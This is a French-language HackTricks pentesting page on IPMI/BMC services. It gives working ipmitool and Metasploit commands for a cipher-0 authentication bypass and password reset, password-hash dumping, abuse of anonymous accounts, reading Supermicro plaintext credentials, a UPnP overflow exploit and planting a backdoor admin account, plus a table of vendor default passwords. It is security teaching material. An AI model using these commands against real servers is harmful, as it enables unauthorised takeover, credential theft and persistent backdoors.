hacktricks/network-services-pentesting/623-udp-ipmi.md
2023-06-03 13:10:46 +00:00

173 lines
17 KiB
Markdown

## 623/UDP/TCP - IPMI
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Travaillez-vous dans une entreprise de cybersécurité? Voulez-vous voir votre entreprise annoncée dans HackTricks? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## Informations de base
[Intelligent Platform Management Interface](https://www.thomas-krenn.com/en/wiki/IPMI\_Basics) (`IPMI`) est un ensemble de spécifications normalisées pour les systèmes de gestion de l'hôte basés sur le matériel utilisés pour la gestion et la surveillance du système. Il agit comme un sous-système autonome et fonctionne indépendamment du BIOS, du CPU, du micrologiciel et du système d'exploitation sous-jacent de l'hôte. IPMI permet aux administrateurs système de gérer et de surveiller les systèmes même s'ils sont éteints ou dans un état non réactif. Il fonctionne en utilisant une connexion réseau directe au matériel du système et ne nécessite pas d'accès au système d'exploitation via une coquille de connexion. IPMI peut également être utilisé pour des mises à niveau à distance des systèmes sans nécessiter d'accès physique à l'hôte cible. IPMI est généralement utilisé de trois manières :
* Avant le démarrage du système d'exploitation pour modifier les paramètres du BIOS
* Lorsque l'hôte est complètement éteint
* Accès à un hôte après une panne du système
Lorsqu'il n'est pas utilisé pour ces tâches, IPMI peut surveiller une gamme de choses différentes telles que la température du système, la tension, l'état du ventilateur et les alimentations électriques. Il peut également être utilisé pour interroger les informations d'inventaire, examiner les journaux matériels et alerter en utilisant SNMP. Le système hôte peut être éteint, mais le module IPMI nécessite une source d'alimentation et une connexion LAN pour fonctionner correctement.
Le protocole IPMI a été publié pour la première fois par Intel en 1998 et est maintenant pris en charge par plus de 200 fournisseurs de systèmes, notamment Cisco, Dell, HP, Supermicro, Intel, et plus encore. Les systèmes utilisant la version 2.0 d'IPMI peuvent être administrés via une liaison série sur LAN, ce qui donne aux administrateurs système la possibilité de visualiser la sortie de la console série en bande. Pour fonctionner, IPMI nécessite les composants suivants :
* Contrôleur de gestion de carte mère (BMC) - un microcontrôleur et un composant essentiel d'un IPMI
* Bus de gestion de châssis intelligent (ICMB) - une interface qui permet la communication d'un châssis à un autre
* Bus de gestion de plate-forme intelligente (IPMB) - étend le BMC
* Mémoire IPMI - stocke des choses telles que le journal des événements système, les données du magasin de référentiel, et plus encore
* Interfaces de communication - interfaces système locales, interfaces série et LAN, ICMB et bus de gestion PCI
![](https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right)
**Port par défaut**: 623/UDP/TCP (Il est généralement sur UDP mais il peut également fonctionner sur TCP)
## Énumération
### Découverte
```bash
nmap -n -p 623 10.0.0./24
nmap -n-sU -p 623 10.0.0./24
use auxiliary/scanner/ipmi/ipmi_version
```
Vous pouvez **identifier** la **version** en utilisant:
```bash
use auxiliary/scanner/ipmi/ipmi_version
nmap -sU --script ipmi-version -p 623 10.10.10.10
```
### Vulnérabilité - Contournement de l'authentification IPMI via le chiffrement 0
Dan Farmer a identifié une grave défaillance de la spécification IPMI 2.0, à savoir que le type de chiffrement 0, un indicateur que le client souhaite utiliser une authentification en texte clair, permet en réalité **l'accès avec n'importe quel mot de passe**. Les problèmes de chiffrement 0 ont été identifiés dans les BMC HP, Dell et Supermicro, le problème englobant probablement toutes les implémentations IPMI 2.0.\
Notez que pour exploiter ce problème, vous devez d'abord **trouver un utilisateur valide**.
Vous pouvez **identifier** ce problème en utilisant:
```
use auxiliary/scanner/ipmi/ipmi_cipher_zero
```
Et vous pouvez **exploiter** ce problème avec `ipmitool`:
```bash
apt-get install ipmitool #Install
#Using -C 0 any password is accepted
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list #Use Cipher 0 to dump a list of users
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
2 root true true true ADMINISTRATOR
3 Oper1 true true true ADMINISTRATOR
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 #Change the password of root
```
### Vulnérabilité - Récupération à distance du hachage de mot de passe à distance de l'authentification RAKP IPMI 2.0
Essentiellement, **vous pouvez demander au serveur le hachage salé MD5 et SHA1 de n'importe quel nom d'utilisateur et si le nom d'utilisateur existe, ces hachages seront renvoyés**. Oui, aussi incroyable que cela puisse paraître. Et il y a un **module Metasploit** pour tester cela (vous pouvez sélectionner le format de sortie en John ou Hashcat) :
```bash
msf > use auxiliary/scanner/ipmi/ipmi_dumphashes
```
_Remarque que pour cela, vous avez seulement besoin d'une liste de noms d'utilisateur à brute-forcer (metasploit en contient déjà une avec des noms d'utilisateur par défaut)._
Utilisation de `ipmitool` pour contourner l'authentification (`-c 0`) et changer le mot de passe root en abc123:
```
root@kali:~# apt-get install ipmitool
root@kali:~# ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
2 root true true true ADMINISTRATOR
3 Oper1 true true true ADMINISTRATOR
root@kali:~# ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123
```
### Vulnérabilité - Authentification anonyme IPMI
En plus des problèmes d'authentification mentionnés ci-dessus, Dan Farmer a noté que de nombreux BMC sont expédiés avec un accès "anonyme" activé par défaut. Cela est configuré en définissant le nom d'utilisateur du premier compte utilisateur sur une chaîne nulle et en définissant un mot de passe nul pour correspondre. Le module _ipmi\_dumphashes_ identifiera et déversera les hachages de mots de passe (y compris les mots de passe vides) pour les comptes d'utilisateurs nuls. Ce compte peut être difficile à utiliser seul, mais nous pouvons utiliser `ipmitool` pour réinitialiser le mot de passe d'un compte utilisateur nommé et utiliser ce compte pour accéder à d'autres services :
```bash
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
1 false false true ADMINISTRATOR
2 root false false true ADMINISTRATOR
3 admin true true true ADMINISTRATOR
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword #Change the password of the user 2 (root) to "newpassword"
```
### Vulnérabilité - Mots de passe en clair Supermicro IPMI
La spécification IPMI 2.0 exige que le BMC réponde aux méthodes d'authentification basées sur HMAC telles que SHA1 et MD5. Ce processus d'authentification présente de graves faiblesses, comme le montrent les exemples précédents, mais nécessite également l'accès au mot de passe en clair pour calculer le hachage d'authentification. Cela signifie que le BMC doit stocker une version en clair de tous les mots de passe d'utilisateurs configurés quelque part dans une mémoire non volatile. Dans le cas de Supermicro, cet emplacement change entre les versions du micrologiciel, mais se trouve soit dans `/nv/PSBlock` soit dans `/nv/PSStore`. Les mots de passe sont dispersés entre divers blocs binaires, mais faciles à repérer car ils suivent toujours le nom d'utilisateur. C'est un problème grave pour toute organisation qui utilise des mots de passe partagés entre les BMC ou même différents types de dispositifs.
```bash
cat /nv/PSBlock
admin ADMINpassword^TT rootOtherPassword!
```
### Vulnérabilité - Supermicro IPMI UPnP
Supermicro inclut un **écouteur UPnP SSDP fonctionnant sur le port UDP 1900** dans le micrologiciel IPMI de nombreuses de ses cartes mères récentes. Sur les versions antérieures à SMT\_X9\_218, ce service exécutait le SDK Intel pour les périphériques UPnP, version 1.3.1. Cette version est vulnérable aux [problèmes divulgués par Rapid7](https://blog.rapid7.com/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play) en février 2013, et une cible d'exploitation pour cette plate-forme fait partie du Metasploit Framework. Ce qui est intéressant dans cette attaque, c'est qu'elle **permet d'obtenir un accès root complet au BMC**, ce qui est autrement difficile à obtenir. Gardez à l'esprit qu'un attaquant ayant un accès administratif, soit sur le réseau, soit à partir d'une coquille racine sur le système hôte, peut rétrograder le micrologiciel d'un Supermicro BMC vers une version vulnérable, puis l'exploiter. Une fois que l'accès **root** est **obtenu**, il est possible de **lire les informations d'identification en clair** à partir du système de fichiers, **d'installer** des **logiciels** supplémentaires et d'intégrer des **portes dérobées** permanentes dans le BMC qui survivraient à une réinstallation complète du système d'exploitation de l'hôte.
```bash
msf> use exploit/multi/upnp/libupnp_ssdp_overflow
```
### Brute Force
Notez que seul HP randomise le mot de passe lors du processus de fabrication.
| Nom du produit | Nom d'utilisateur par défaut | Mot de passe par défaut |
| --------------------------------------------------- | ---------------------------- | --------------------------------------- |
| **HP Integrated Lights Out (iLO)** | Administrateur | \<chaîne de 8 caractères aléatoire> |
| **Dell Remote Access Card (iDRAC, DRAC)** | root | calvin |
| **IBM Integrated Management Module (IMM)** | USERID | PASSW0RD (avec un zéro) |
| **Fujitsu Integrated Remote Management Controller** | admin | admin |
| **Supermicro IPMI (2.0)** | ADMIN | ADMIN |
| **Oracle/Sun Integrated Lights Out Manager (ILOM)** | root | changeme |
| **ASUS iKVM BMC** | admin | admin |
## Exploitation de l'hôte à partir du BMC
Une fois l'accès administratif au BMC obtenu, plusieurs méthodes sont disponibles pour accéder au système d'exploitation de l'hôte. Le chemin le plus direct consiste à abuser de la fonctionnalité KVM du BMC et à redémarrer l'hôte vers un shell root (init=/bin/sh dans GRUB) ou à spécifier un disque de secours en tant que CD-ROM virtuel et à démarrer à partir de celui-ci. Une fois un accès brut au disque de l'hôte obtenu, il est trivial d'introduire une porte dérobée, de copier des données du disque dur ou de faire tout ce qui doit être fait dans le cadre de l'évaluation de sécurité. Le gros inconvénient, bien sûr, est que l'hôte doit être redémarré pour utiliser cette méthode. L'accès à l'hôte en cours d'exécution est beaucoup plus difficile et dépend de ce que l'hôte exécute. Si la console physique de l'hôte est laissée connectée, il devient trivial de la pirater en utilisant la fonctionnalité KVM intégrée. Il en va de même pour les consoles série - si le port série est connecté à une session authentifiée, le BMC peut permettre à ce port d'être piraté en utilisant l'interface ipmitool pour la série-over-LAN (sol). Une voie qui nécessite encore plus de recherche consiste à abuser de l'accès au matériel partagé, tel que le bus i2c et la puce Super I/O.
![](https://blog.rapid7.com/content/images/post-images/27966/ipmi\_bios.png)
![](https://blog.rapid7.com/content/images/post-images/27966/ipmi\_boot.png)
![](<../.gitbook/assets/image (202) (2).png>)
## Exploitation du BMC à partir de l'hôte
Dans les situations où un hôte avec un BMC a été compromis, l'interface locale du BMC peut être utilisée pour introduire un compte utilisateur de porte dérobée, et à partir de là, établir une position permanente sur le serveur. Cette attaque nécessite que **`ipmitool`** soit installé sur l'hôte et que le support du pilote soit activé pour le BMC. L'exemple ci-dessous montre comment l'interface locale sur l'hôte, qui ne nécessite pas d'authentification, peut être utilisée pour injecter un nouveau compte utilisateur dans le BMC. Cette méthode est universelle pour les cibles Linux, Windows, BSD et même DOS.
```bash
ipmitool user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
2 ADMIN true false false Unknown (0x00)
3 root true false false Unknown (0x00)
ipmitool user set name 4 backdoor
ipmitool user set password 4 backdoor
ipmitool user priv 4 4
ipmitool user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
2 ADMIN true false false Unknown (0x00)
3 root true false false Unknown (0x00)
4 backdoor true false true ADMINISTRATOR
```
## Shodan
* `port:623`
## Références
* [https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/](https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/)
* [https://academy.hackthebox.com/module/112/section/1245](https://academy.hackthebox.com/module/112/section/1245)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>